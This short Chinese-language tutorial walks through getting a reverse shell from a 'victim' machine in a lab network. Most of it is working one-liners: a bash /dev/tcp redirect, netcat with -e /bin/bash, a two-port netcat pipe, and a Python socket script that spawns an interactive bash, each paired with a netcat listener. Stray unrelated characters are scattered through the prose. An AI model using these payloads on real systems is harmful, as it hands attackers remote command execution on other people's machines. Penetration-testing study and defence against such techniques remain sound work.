0x01
受害機(jī)命令
bash -i >& /dev/tcp/x.x.x.x/1234 0>&1
本機(jī)命令
nc -lvvvp 1234
首先在受害機(jī)(192.168.80.133)中開(kāi)一個(gè)終端绘证,輸入
bash -i >& /dev/tcp/192.168.80.134/1234 0>&1
然后再本機(jī)(192.168.80.134)中開(kāi)個(gè)終端,界面如下
輸入如下命令
nc -lvvvp 1234
可以看到終端的標(biāo)簽已經(jīng)改變了起趾,嘗試輸入命令可以發(fā)現(xiàn)已經(jīng)得到了一個(gè)shell
0x02 netcat
如果目標(biāo)主機(jī)有nc -e選項(xiàng)的話抖所,也可以通過(guò)-e進(jìn)行反彈shell
還是以剛才的環(huán)境來(lái)做實(shí)驗(yàn)
首先饱搏,在本機(jī)上輸入
nc -lvvp 1234
進(jìn)行監(jiān)聽(tīng)
然后再受害機(jī)輸入
nc -e /bin/bash 192.168.80.134 1234
發(fā)現(xiàn)在本機(jī)的終端已經(jīng)可以執(zhí)行shell了
但是萬(wàn)一沒(méi)有-e選項(xiàng)呢叭披,那么還可以用管道進(jìn)行反彈shell
首先在本機(jī)開(kāi)兩個(gè)端口監(jiān)聽(tīng)
nc -lvvvp 1234
nc -lvvvp 4321
然后受害機(jī)輸入
nc 192.168.80.134 1234 | /bin/bash | nc 192.168.80.134 4321
得到shell
0x03 Python
python -c
'
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.80.134",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
'
首先在本機(jī)輸入
nc -lvvvp 1234
在受害機(jī)輸入
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.134",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
即可看到反彈了一個(gè)shell